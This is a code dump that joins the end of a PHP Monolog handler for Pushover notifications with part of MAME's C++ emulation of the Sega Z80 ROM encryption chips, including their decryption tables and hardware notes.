];
/**
* @param string $token Pushover api token
* @param string|array $users Pushover user id or array of ids the message will be sent to
* @param string|null $title Title sent to the Pushover API
* @param string|int $level The minimum logging level at which this handler will be triggered
* @param bool $bubble Whether the messages that are handled can bubble up the stack or not
* @param bool $useSSL Whether to connect via SSL. Required when pushing messages to users that are not
* the pushover.net app owner. OpenSSL is required for this option.
* @param string|int $highPriorityLevel The minimum logging level at which this handler will start
* sending "high priority" requests to the Pushover API
* @param string|int $emergencyLevel The minimum logging level at which this handler will start
* sending "emergency" requests to the Pushover API
* @param int $retry The retry parameter specifies how often (in seconds) the Pushover servers will
* send the same notification to the user.
* @param int $expire The expire parameter specifies how many seconds your notification will continue
* to be retried for (every retry seconds).
*/
public function __construct(
string $token,
$users,
?string $title = null,
$level = Logger::CRITICAL,
bool $bubble = true,
bool $useSSL = true,
$highPriorityLevel = Logger::CRITICAL,
$emergencyLevel = Logger::EMERGENCY,
int $retry = 30,
int $expire = 25200
) {
$connectionString = $useSSL ? 'ssl://api.pushover.net:443' : 'api.pushover.net:80';
parent::__construct($connectionString, $level, $bubble);
$this->token = $token;
$this->users = (array) $users;
$this->title = $title ?: gethostname();
$this->highPriorityLevel = Logger::toMonologLevel($highPriorityLevel);
$this->emergencyLevel = Logger::toMonologLevel($emergencyLevel);
$this->retry = $retry;
$this->expire = $expire;
}
protected function generateDataStream(array $record): string
{
$content = $this->buildContent($record);
return $this->buildHeader($content) . $content;
}
private function buildContent(array $record): string
{
// Pushover has a limit of 512 characters on title and message combined.
$maxMessageLength = 512 - strlen($this->title);
$message = ($this->useFormattedMessage) ? $record['formatted'] : $record['message'];
$message = Utils::substr($message, 0, $maxMessageLength);
$timestamp = $record['datetime']->getTimestamp();
$dataArray = [
'token' => $this->token,
'user' => $this->user,
'message' => $message,
'title' => $this->title,
'timestamp' => $timestamp,
];
if (isset($record['level']) && $record['level'] >= $this->emergencyLevel) {
$dataArray['priority'] = 2;
$dataArray['retry'] = $this->retry;
$dataArray['expire'] = $this->expire;
} elseif (isset($record['level']) && $record['level'] >= $this->highPriorityLevel) {
$dataArray['priority'] = 1;
}
// First determine the available parameters
$context = array_intersect_key($record['context'], $this->parameterNames);
$extra = array_intersect_key($record['extra'], $this->parameterNames);
// Least important info should be merged with subsequent info
$dataArray = array_merge($extra, $context, $dataArray);
// Only pass sounds that are supported by the API
if (isset($dataArray['sound']) && !in_array($dataArray['sound'], $this->sounds)) {
unset($dataArray['sound']);
}
return http_build_query($dataArray);
}
private function buildHeader(string $content): string
{
$header = "POST /1/messages.json HTTP/1.1\r\n";
$header .= "Host: api.pushover.net\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: " . strlen($content) . "\r\n";
$header .= "\r\n";
return $header;
}
protected function write(array $record): void
{
foreach ($this->users as $user) {
$this->user = $user;
parent::write($record);
$this->closeSocket();
}
$this->user = null;
}
public function setHighPriorityLevel($value): self
{
$this->highPriorityLevel = Logger::toMonologLevel($value);
return $this;
}
public function setEmergencyLevel($value): self
{
$this->emergencyLevel = Logger::toMonologLevel($value);
return $this;
}
/**
* Use the formatted message?
*/
public function useFormattedMessage(bool $value): self
{
$this->useFormattedMessage = $value;
return $this;
}
}
| gpl-2.0 |
johnparker007/mame | src/mame/machine/segacrpt_device.cpp | 55447 | // license:BSD-3-Clause
// copyright-holders:Nicola Salmoria, David Haywood
/******************************************************************************
Sega encryption emulation by Nicola Salmoria
Several Sega Z80 games have program ROMs encrypted using a common algorithm
(but with a different key).
The hardware used to implement this encryption is either a custom CPU, or an
epoxy block which probably contains a standard Z80 + PALs.
The encryption affects D3, D5, and D7, and depends on M1, A0, A4, A8 and A12.
D0, D1, D2, D4 and D6 are always unaffected.
The encryption consists of a permutation of the three bits, which can also be
inverted. Therefore there are 3! * 2^3 = 48 different possible encryptions.
For simplicity, the decryption is implemented using conversion tables.
We need 32 of these tables, one for every possible combination of M1, A0, A4,
A8 and A12. However, all the games currently known are full of repetitions
and only use 6 different tables, the only exceptions being Pengo, Yamato and
Spatter which have 7 (but one of them is the identity: { 0x00, 0x08, 0x20, 0x28 } ).
This is most likely a limitation of the hardware.
Some of the early games are even weaker: of the 6 different tables, they use
3 for opcodes and 3 for data, and always coupled in the same way.
In all games currently known, only bytes in the memory range 0x0000-0x7fff
(A15 = 0) are encrypted. My guess is that this was done to allow games to
copy code to RAM (in the memory range 0x8000-0xffff) and execute it from
there without the CPU trying to decrypt it and messing everything up.
However Zaxxon has RAM at 0x6000, and the CPU doesn't seem to interfere with
it; but it doesn't execute code from there, so it's possible that the CPU is
encrypting the data while writing it and decrypting it while reading (that
would seem kind of strange though). Video and sprite RAM and memory mapped
ports are all placed above 0x8000.
Given its strict limitations, this encryption is reasonably easy to break,
and very vulnerable to known plaintext attacks.
Ninja Princess:
there is a (bootleg?) board which has a standard Z80 + 2 bipolar PROMs
instead of the custom CPU. The encryption table is different from the
original Ninja Princess; it is actually the same as Flicky.
The first PROM is 32x8 and contains the number (0..5) of the table to
use depending on M1, A0, A4, A8, A12:
00: 11 00 33 22 00 44 44 00 11 33 33 22 44 44 44 22
10: 11 55 55 33 44 22 55 22 11 33 55 33 44 44 11 22
The second PROM is 256x4 and contains the 6 different XOR tables:
A D B C C B D A
00: 09 09 0A 0A 0A 0A 09 09
08: 0E 08 0B 0D 0D 0B 08 0E
10: 0A 0C 0A 0C 0C 0A 0C 0A
18: 0B 0E 0E 0B 0B 0E 0E 0B
20: 0C 0C 0F 0F 0F 0F 0C 0C
28: 08 0D 0B 0E 0E 0B 0D 08
[the remaining bytes are all 0F]
bit 3 is not used.
bits 0-2 is the XOR code inverted (0 = 0xa8, 1 = 0xa0 ... 6 = 0x08 7 = 0x00)
Here is a diagram showing how it works:
data to XOR
decode value
A ---
D7 --------------- 0| |
D3 --------------- 1| |
D5 --------------- 2| P |D
A --- D | R |0 ---|>--- D3
M1 --- 0| P |0 --- 3| O |1 ---|>--- D5
A0 --- 1| R |1 --- 4| M |2 ---|>--- D7
A4 --- 2| O |2 --- 5| 2 |3 ---
A8 --- 3| M |3 --- 6| |
A12 --- 4| 1 |4 --- 7| |
--- ---
My Hero:
the bootleg does the decryption using a single 256x4 PROM, mapped in the
obvious way:
data to XOR
decode value
A ---
D3 --- 0| |
D5 --- 1| |D
D7 --- 2| P |0 --- D3
A0 --- 3| R |1 --- D5
A4 --- 4| O |2 --- D7
A8 --- 5| M |3 ---
A12 --- 6| |
M1 --- 7| |
---
List of encrypted games currently known:
CPU Part # Game Comments
315-5010 Pengo unencrypted version available
315-5013 Super Zaxxon used Zaxxon for known plaintext attack
315-5014 Buck Rogers / Zoom 909 unencrypted version available
315-5015 Super Locomotive
315-5018 Yamato
???-???? Top Roller same key as Yamato
315-5028 Sindbad Mystery
315-5030 Up'n Down unencrypted version available
???-???? M120 Razzmatazz same key as Up'n Down
315-5033 Regulus unencrypted version available
315-5041 M140 Mister Viking
315-5048 SWAT used Bull Fight for k.p.a.
315-5051 Flicky &
Ninja Princess (bootleg)
315-5061 Future Spy
315-5064 Water Match used Mister Viking for k.p.a.
315-5065 Bull Fight
315-5069 Star Force game by Tehkan; same key as Super Locomotive
???-???? Spatter same encryption scheme is used by the Falcon 03155096 CPU (Z80)
315-5084 Jongkyo TABLE INCOMPLETE game by Kiwako; also has a simple bitswap on top
315-5093 Pitfall II
315-5098 Ninja Princess unencrypted version available; same key as Up'n Down
315-5102 Sega Ninja unencrypted version available
315-5110 I'm Sorry used My Hero for k.p.a.
315-5114 Champion Pro Wrestling same key as Regulus
315-5115 TeddyBoy Blues
315-5128 Pinball Action game by Tehkan; also has a simple bitswap on top
315-5132 My Hero
315-5135 Heavy Metal &
Wonder Boy (set 1a & 3; bootlegs?)
Some text found in the ROMs:
Buck Rogers SECULITY BY MASATOSHI,MIZUNAGA
Super Locomotive SEGA FUKUMURA MIZUNAGA
Yamato SECULITY BY M,MIZUNAGA
Regulus SECULITY BY SYUICHI,KATAGI
Up'n Down 19/SEP 1983 MASATOSHI,MIZUNAGA
Mister Viking SECURITY BY S.KATAGI CONTROL CHIP M140
SWAT SECURITY BY S.KATAGI
Flicky SECURITY BY S.KATAGI
Water Match PROGRAMED BY KAWAHARA&NAKAGAWA
Star Force STAR FORCE TEHKAN. SECURITY BY SEGA ENTERPRISESE
******************************************************************************/
#include "emu.h"
#include "segacrpt_device.h"
#if 0
static void lfkp(int mask)
{
int A;
uint8_t *RAM = machine.root_device().memregion("maincpu")->base();
for (A = 0x0000;A < 0x8000-14;A++)
{
static const char text[] = "INSERT COIN";
int i;
if ( (RAM[A+0] & mask) == (0x21 & mask) && /* LD HL,$xxxx */
(RAM[A+3] & mask) == (0x11 & mask) && /* LD DE,$xxxx */
(RAM[A+6] & mask) == (0x01 & mask)) /* LD BC,$xxxx */
{
if ( (RAM[A+ 9] & mask) == (0x36 & mask) && /* LD (HL),$xx */
(RAM[A+11] & mask) == (0xed & mask) &&
(RAM[A+12] & mask) == (0xb0 & mask)) /* LDIR */
logerror("%04x: hl de bc (hl),xx ldir\n",A);
if ( (RAM[A+ 9] & mask) == (0x77 & mask) && /* LD (HL),A */
(RAM[A+10] & mask) == (0xed & mask) &&
(RAM[A+11] & mask) == (0xb0 & mask)) /* LDIR */
logerror("%04x: hl de bc (hl),a ldir\n",A);
if ( (RAM[A+ 9] & mask) == (0xed & mask) &&
(RAM[A+10] & mask) == (0xb0 & mask)) /* LDIR */
logerror("%04x: hl de bc ldir\n",A);
}
/* the following can also be PUSH IX, PUSH IY - need better checking */
if ( (RAM[A+0] & mask) == (0xf5 & mask) && /* PUSH AF */
(RAM[A+1] & mask) == (0xc5 & mask) && /* PUSH BC */
(RAM[A+2] & mask) == (0xd5 & mask) && /* PUSH DE */
(RAM[A+3] & mask) == (0xe5 & mask)) /* PUSH HL */
logerror("%04x: push af bc de hl\n",A);
if ( (RAM[A+0] & mask) == (0xe1 & mask) && /* POP HL */
(RAM[A+1] & mask) == (0xd1 & mask) && /* POP DE */
(RAM[A+2] & mask) == (0xc1 & mask) && /* POP BC */
(RAM[A+3] & mask) == (0xf1 & mask)) /* POP AF */
logerror("%04x: pop hl de bc af\n",A);
for (i = 0;i < strlen(text);i++)
if ((RAM[A+i] & mask) != (text[i] & mask)) break;
if (i == strlen(text))
logerror("%04x: INSERT COIN\n",A);
}
}
static void look_for_known_plaintext(void)
{
lfkp(0x57);
}
#endif
static void decode(uint8_t *data, uint8_t *opcodes, int size, const uint8_t convtable[32][4], int bank_count, int bank_size)
{
for (int A = 0x0000;A < size + bank_count*bank_size;A++)
{
int xorval = 0;
uint8_t src = data[A];
int adr;
if(A < size || !bank_count)
adr = A;
else
adr = size + ((A - size) % bank_size);
/* pick the translation table from bits 0, 4, 8 and 12 of the address */
int row = (adr & 1) + (((adr >> 4) & 1) << 1) + (((adr >> 8) & 1) << 2) + (((adr >> 12) & 1) << 3);
/* pick the offset in the table from bits 3 and 5 of the source data */
int col = ((src >> 3) & 1) + (((src >> 5) & 1) << 1);
/* the bottom half of the translation table is the mirror image of the top */
if (src & 0x80)
{
col = 3 - col;
xorval = 0xa8;
}
/* decode the opcodes */
opcodes[A] = (src & ~0xa8) | (convtable[2*row][col] ^ xorval);
/* decode the data */
data[A] = (src & ~0xa8) | (convtable[2*row+1][col] ^ xorval);
if (convtable[2*row][col] == 0xff) /* table incomplete! (for development) */
opcodes[A] = 0xee;
if (convtable[2*row+1][col] == 0xff) /* table incomplete! (for development) */
data[A] = 0xee;
}
}
DEFINE_DEVICE_TYPE(SEGA_315_5132, sega_315_5132_device, "sega_315_5132", "Sega 315-5132")
DEFINE_DEVICE_TYPE(SEGA_315_5155, sega_315_5155_device, "sega_315_5155", "Sega 315-5155")
DEFINE_DEVICE_TYPE(SEGA_315_5110, sega_315_5110_device, "sega_315_5110", "Sega 315-5110")
DEFINE_DEVICE_TYPE(SEGA_315_5135, sega_315_5135_device, "sega_315_5135", "Sega 315-5135")
DEFINE_DEVICE_TYPE(SEGA_315_5051, sega_315_5051_device, "sega_315_5051", "Sega 315-5051")
DEFINE_DEVICE_TYPE(SEGA_315_5098, sega_315_5098_device, "sega_315_5098", "Sega 315-5098") // also 315-5030 ?
DEFINE_DEVICE_TYPE(SEGA_315_5102, sega_315_5102_device, "sega_315_5102", "Sega 315-5102")
DEFINE_DEVICE_TYPE(SEGA_315_5065, sega_315_5065_device, "sega_315_5065", "Sega 315-5065")
DEFINE_DEVICE_TYPE(SEGA_315_5064, sega_315_5064_device, "sega_315_5064", "Sega 315-5064")
DEFINE_DEVICE_TYPE(SEGA_315_5033, sega_315_5033_device, "sega_315_5033", "Sega 315-5033")
DEFINE_DEVICE_TYPE(SEGA_315_5041, sega_315_5041_device, "sega_315_5041", "Sega 315-5041")
DEFINE_DEVICE_TYPE(SEGA_315_5048, sega_315_5048_device, "sega_315_5048", "Sega 315-5048")
DEFINE_DEVICE_TYPE(SEGA_315_5093, sega_315_5093_device, "sega_315_5093", "Sega 315-5093")
DEFINE_DEVICE_TYPE(SEGA_315_5099, sega_315_5099_device, "sega_315_5099", "Sega 315-5099")
DEFINE_DEVICE_TYPE(SEGA_315_5015, sega_315_5015_device, "sega_315_5015", "Sega 315-5015")
DEFINE_DEVICE_TYPE(SEGA_315_5133, sega_315_5133_device, "sega_315_5133", "Sega 315-5133") // exactly the same as Sega 315-5048?
DEFINE_DEVICE_TYPE(SEGA_315_5061, sega_315_5061_device, "sega_315_5061", "Sega 315-5061")
DEFINE_DEVICE_TYPE(SEGA_315_5028, sega_315_5028_device, "sega_315_5028", "Sega 315-5028")
DEFINE_DEVICE_TYPE(SEGA_315_5084, sega_315_5084_device, "sega_315_5084", "Sega 315-5084")
DEFINE_DEVICE_TYPE(SEGA_315_5013, sega_315_5013_device, "sega_315_5013", "Sega 315-5013")
DEFINE_DEVICE_TYPE(SEGA_315_5014, sega_315_5014_device, "sega_315_5014", "Sega 315-5014")
DEFINE_DEVICE_TYPE(SEGA_315_5018, sega_315_5018_device, "sega_315_5018", "Sega 315-5018")
DEFINE_DEVICE_TYPE(SEGA_315_5010, sega_315_5010_device, "sega_315_5010", "Sega 315-5010")
DEFINE_DEVICE_TYPE(SEGA_315_SPAT, sega_315_spat_device, "sega_315_spat", "Sega 315-5xxx (Spatter)") // unknown part number
DEFINE_DEVICE_TYPE(SEGA_315_5128, sega_315_5128_device, "sega_315_5128", "Sega 315-5128")
segacrpt_z80_device::segacrpt_z80_device(const machine_config &mconfig, device_type type, const char *tag, device_t *owner, uint32_t clock) :
z80_device(mconfig, type, tag, owner, clock),
m_decrypted_ptr(nullptr),
m_region_ptr(nullptr),
m_decode_size(0x8000),
m_numbanks(0),
m_banksize(0),
m_decryption_done(false)
{
}
void segacrpt_z80_device::device_start()
{
z80_device::device_start();
}
void segacrpt_z80_device::device_reset()
{
// decrypt on reset, makes sure DRIVER_INIT stuff happens first (for myherok)
// actual CPU would be decrypting in realtime anyway
if (m_decrypted_ptr == nullptr)
{
m_decrypted_ptr = (uint8_t*)memshare(m_decrypted_tag)->ptr();
}
if (m_region_ptr == nullptr)
{
m_region_ptr = (uint8_t*)memregion(tag())->base();
}
if (m_decryption_done == false)
{
decrypt();
m_decryption_done = true;
}
z80_device::device_reset();
}
void segacrpt_z80_device::set_region_p(uint8_t* ptr)
{
m_region_ptr = ptr;
}
void segacrpt_z80_device::set_decrypted_p(uint8_t* ptr)
{
m_decrypted_ptr = ptr;
}
sega_315_5132_device::sega_315_5132_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5132, tag, owner, clock) {}
void sega_315_5132_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x20,0x00,0xa0,0x80 }, { 0x80,0xa0,0x88,0xa8 }, /* ...0...0...0...0 */
{ 0x20,0x00,0xa0,0x80 }, { 0x80,0xa0,0x88,0xa8 }, /* ...0...0...0...1 */
{ 0xa8,0xa0,0x88,0x80 }, { 0xa8,0xa0,0x88,0x80 }, /* ...0...0...1...0 */
{ 0x08,0x88,0x00,0x80 }, { 0x80,0xa0,0x88,0xa8 }, /* ...0...0...1...1 */
{ 0x20,0x00,0xa0,0x80 }, { 0x28,0xa8,0x08,0x88 }, /* ...0...1...0...0 */
{ 0x20,0x00,0xa0,0x80 }, { 0x08,0x88,0x00,0x80 }, /* ...0...1...0...1 */
{ 0x28,0xa8,0x08,0x88 }, { 0xa8,0xa0,0x88,0x80 }, /* ...0...1...1...0 */
{ 0x08,0x88,0x00,0x80 }, { 0xa8,0xa0,0x88,0x80 }, /* ...0...1...1...1 */
{ 0x28,0xa8,0x08,0x88 }, { 0x20,0x00,0xa0,0x80 }, /* ...1...0...0...0 */
{ 0x80,0xa0,0x88,0xa8 }, { 0x20,0x00,0xa0,0x80 }, /* ...1...0...0...1 */
{ 0x80,0xa0,0x88,0xa8 }, { 0x80,0xa0,0x88,0xa8 }, /* ...1...0...1...0 */
{ 0xa8,0xa0,0x88,0x80 }, { 0x80,0xa0,0x88,0xa8 }, /* ...1...0...1...1 */
{ 0x88,0x80,0x08,0x00 }, { 0x88,0x80,0x08,0x00 }, /* ...1...1...0...0 */
{ 0x88,0x80,0x08,0x00 }, { 0x08,0x88,0x00,0x80 }, /* ...1...1...0...1 */
{ 0x88,0x80,0x08,0x00 }, { 0xa8,0xa0,0x88,0x80 }, /* ...1...1...1...0 */
{ 0x88,0x80,0x08,0x00 }, { 0xa8,0xa0,0x88,0x80 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5155_device::sega_315_5155_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5155, tag, owner, clock) {}
void sega_315_5155_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x20,0x28,0x00,0x08 }, { 0x80,0x00,0xa0,0x20 }, /* ...0...0...0...0 */
{ 0x20,0x28,0x00,0x08 }, { 0xa0,0xa8,0x20,0x28 }, /* ...0...0...0...1 */
{ 0x28,0x08,0xa8,0x88 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...0...1...0 */
{ 0xa0,0xa8,0x20,0x28 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...0...1...1 */
{ 0x20,0x28,0x00,0x08 }, { 0x28,0x08,0xa8,0x88 }, /* ...0...1...0...0 */
{ 0xa0,0xa8,0x20,0x28 }, { 0xa0,0xa8,0x20,0x28 }, /* ...0...1...0...1 */
{ 0xa0,0x80,0xa8,0x88 }, { 0x28,0x08,0xa8,0x88 }, /* ...0...1...1...0 */
{ 0xa0,0xa8,0x20,0x28 }, { 0x28,0x08,0xa8,0x88 }, /* ...0...1...1...1 */
{ 0x80,0x00,0xa0,0x20 }, { 0x80,0x00,0xa0,0x20 }, /* ...1...0...0...0 */
{ 0xa0,0x20,0xa8,0x28 }, { 0xa0,0xa8,0x20,0x28 }, /* ...1...0...0...1 */
{ 0xa0,0x20,0xa8,0x28 }, { 0xa0,0x80,0xa8,0x88 }, /* ...1...0...1...0 */
{ 0xa0,0x80,0xa8,0x88 }, { 0xa0,0x80,0xa8,0x88 }, /* ...1...0...1...1 */
{ 0x80,0x00,0xa0,0x20 }, { 0x20,0x28,0x00,0x08 }, /* ...1...1...0...0 */
{ 0xa0,0xa8,0x20,0x28 }, { 0xa0,0x20,0xa8,0x28 }, /* ...1...1...0...1 */
{ 0x80,0x00,0xa0,0x20 }, { 0xa0,0x80,0xa8,0x88 }, /* ...1...1...1...0 */
{ 0xa0,0xa8,0x20,0x28 }, { 0xa0,0x20,0xa8,0x28 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5110_device::sega_315_5110_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5110, tag, owner, clock) {}
void sega_315_5110_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x88,0x08,0x80,0x00 }, { 0x00,0x20,0x80,0xa0 }, /* ...0...0...0...0 */
{ 0x00,0x20,0x80,0xa0 }, { 0x88,0x08,0x80,0x00 }, /* ...0...0...0...1 */
{ 0x88,0x08,0xa8,0x28 }, { 0x00,0x20,0x80,0xa0 }, /* ...0...0...1...0 */
{ 0x00,0x20,0x80,0xa0 }, { 0x88,0x08,0xa8,0x28 }, /* ...0...0...1...1 */
{ 0x00,0x20,0x80,0xa0 }, { 0x08,0x00,0x88,0x80 }, /* ...0...1...0...0 */
{ 0x00,0x20,0x80,0xa0 }, { 0x20,0x28,0xa0,0xa8 }, /* ...0...1...0...1 */
{ 0x20,0x28,0xa0,0xa8 }, { 0x00,0x20,0x80,0xa0 }, /* ...0...1...1...0 */
{ 0x20,0x28,0xa0,0xa8 }, { 0x88,0x08,0xa8,0x28 }, /* ...0...1...1...1 */
{ 0x88,0x08,0x80,0x00 }, { 0x08,0x00,0x88,0x80 }, /* ...1...0...0...0 */
{ 0x08,0x00,0x88,0x80 }, { 0x88,0x08,0x80,0x00 }, /* ...1...0...0...1 */
{ 0x08,0x28,0x00,0x20 }, { 0x08,0x28,0x00,0x20 }, /* ...1...0...1...0 */
{ 0x88,0x08,0x80,0x00 }, { 0x08,0x28,0x00,0x20 }, /* ...1...0...1...1 */
{ 0x08,0x28,0x00,0x20 }, { 0x08,0x00,0x88,0x80 }, /* ...1...1...0...0 */
{ 0x08,0x28,0x00,0x20 }, { 0x20,0x28,0xa0,0xa8 }, /* ...1...1...0...1 */
{ 0x20,0x28,0xa0,0xa8 }, { 0x08,0x28,0x00,0x20 }, /* ...1...1...1...0 */
{ 0x20,0x28,0xa0,0xa8 }, { 0x08,0x28,0x00,0x20 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5135_device::sega_315_5135_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5135, tag, owner, clock) {}
void sega_315_5135_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x88,0xa8,0x80,0xa0 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...0...0...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x88,0x80,0x08,0x00 }, /* ...0...0...0...1 */
{ 0xa0,0x80,0xa8,0x88 }, { 0x88,0xa8,0x80,0xa0 }, /* ...0...0...1...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x88,0x80,0x08,0x00 }, /* ...0...0...1...1 */
{ 0xa0,0x80,0xa8,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...0...1...0...0 */
{ 0x88,0x80,0x08,0x00 }, { 0x88,0x80,0x08,0x00 }, /* ...0...1...0...1 */
{ 0xa0,0x80,0xa8,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...0...1...1...0 */
{ 0x88,0x80,0x08,0x00 }, { 0x28,0x08,0xa8,0x88 }, /* ...0...1...1...1 */
{ 0xa0,0x20,0xa8,0x28 }, { 0x88,0xa8,0x80,0xa0 }, /* ...1...0...0...0 */
{ 0xa0,0x20,0xa8,0x28 }, { 0x88,0xa8,0x80,0xa0 }, /* ...1...0...0...1 */
{ 0xa0,0x20,0xa8,0x28 }, { 0x88,0xa8,0x80,0xa0 }, /* ...1...0...1...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x28,0x08,0xa8,0x88 }, /* ...1...0...1...1 */
{ 0x28,0xa8,0x08,0x88 }, { 0xa0,0x20,0xa8,0x28 }, /* ...1...1...0...0 */
{ 0xa0,0x20,0xa8,0x28 }, { 0x28,0xa8,0x08,0x88 }, /* ...1...1...0...1 */
{ 0x28,0xa8,0x08,0x88 }, { 0xa0,0x20,0xa8,0x28 }, /* ...1...1...1...0 */
{ 0x28,0x08,0xa8,0x88 }, { 0x28,0xa8,0x08,0x88 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5051_device::sega_315_5051_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5051, tag, owner, clock) {}
void sega_315_5051_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x08,0x88,0x00,0x80 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...0...0...0 */
{ 0x80,0x00,0xa0,0x20 }, { 0x88,0x80,0x08,0x00 }, /* ...0...0...0...1 */
{ 0xa0,0x80,0xa8,0x88 }, { 0x28,0x08,0x20,0x00 }, /* ...0...0...1...0 */
{ 0x28,0x08,0x20,0x00 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...0...1...1 */
{ 0x08,0x88,0x00,0x80 }, { 0x80,0x00,0xa0,0x20 }, /* ...0...1...0...0 */
{ 0x80,0x00,0xa0,0x20 }, { 0x88,0x80,0x08,0x00 }, /* ...0...1...0...1 */
{ 0x28,0x08,0x20,0x00 }, { 0x28,0x08,0x20,0x00 }, /* ...0...1...1...0 */
{ 0x28,0x08,0x20,0x00 }, { 0x88,0x80,0x08,0x00 }, /* ...0...1...1...1 */
{ 0x08,0x88,0x00,0x80 }, { 0xa8,0x88,0x28,0x08 }, /* ...1...0...0...0 */
{ 0xa8,0x88,0x28,0x08 }, { 0x80,0x00,0xa0,0x20 }, /* ...1...0...0...1 */
{ 0x28,0x08,0x20,0x00 }, { 0x88,0x80,0x08,0x00 }, /* ...1...0...1...0 */
{ 0xa8,0x88,0x28,0x08 }, { 0x88,0x80,0x08,0x00 }, /* ...1...0...1...1 */
{ 0x08,0x88,0x00,0x80 }, { 0x80,0x00,0xa0,0x20 }, /* ...1...1...0...0 */
{ 0xa8,0x88,0x28,0x08 }, { 0x80,0x00,0xa0,0x20 }, /* ...1...1...0...1 */
{ 0x28,0x08,0x20,0x00 }, { 0x28,0x08,0x20,0x00 }, /* ...1...1...1...0 */
{ 0x08,0x88,0x00,0x80 }, { 0x88,0x80,0x08,0x00 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5098_device::sega_315_5098_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5098, tag, owner, clock) {}
void sega_315_5098_device::decrypt()
{
// also 315-5030 ?
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x08,0x88,0x00,0x80 }, { 0xa0,0x20,0x80,0x00 }, /* ...0...0...0...0 */
{ 0xa8,0xa0,0x28,0x20 }, { 0x88,0xa8,0x80,0xa0 }, /* ...0...0...0...1 */
{ 0x88,0x80,0x08,0x00 }, { 0x28,0x08,0xa8,0x88 }, /* ...0...0...1...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x28,0x08,0xa8,0x88 }, /* ...0...0...1...1 */
{ 0x88,0xa8,0x80,0xa0 }, { 0xa0,0x20,0x80,0x00 }, /* ...0...1...0...0 */
{ 0xa8,0xa0,0x28,0x20 }, { 0xa8,0xa0,0x28,0x20 }, /* ...0...1...0...1 */
{ 0x88,0x80,0x08,0x00 }, { 0x88,0xa8,0x80,0xa0 }, /* ...0...1...1...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x88,0xa8,0x80,0xa0 }, /* ...0...1...1...1 */
{ 0xa0,0x20,0x80,0x00 }, { 0xa0,0x20,0x80,0x00 }, /* ...1...0...0...0 */
{ 0x08,0x88,0x00,0x80 }, { 0x28,0x08,0xa8,0x88 }, /* ...1...0...0...1 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x88,0x80,0x08,0x00 }, /* ...1...0...1...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x28,0x08,0xa8,0x88 }, /* ...1...0...1...1 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x88,0xa8,0x80,0xa0 }, /* ...1...1...0...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x88,0xa8,0x80,0xa0 }, /* ...1...1...0...1 */
{ 0x88,0x80,0x08,0x00 }, { 0x88,0x80,0x08,0x00 }, /* ...1...1...1...0 */
{ 0x08,0x88,0x00,0x80 }, { 0x28,0x08,0xa8,0x88 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5102_device::sega_315_5102_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5102, tag, owner, clock) {}
void sega_315_5102_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x88,0xa8,0x80,0xa0 }, { 0x88,0x08,0x80,0x00 }, /* ...0...0...0...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0xa0,0xa8,0x80,0x88 }, /* ...0...0...0...1 */
{ 0xa8,0xa0,0x28,0x20 }, { 0xa8,0xa0,0x28,0x20 }, /* ...0...0...1...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0xa0,0xa8,0x80,0x88 }, /* ...0...0...1...1 */
{ 0x28,0x08,0xa8,0x88 }, { 0x28,0x08,0xa8,0x88 }, /* ...0...1...0...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0x88,0x08,0x80,0x00 }, /* ...0...1...0...1 */
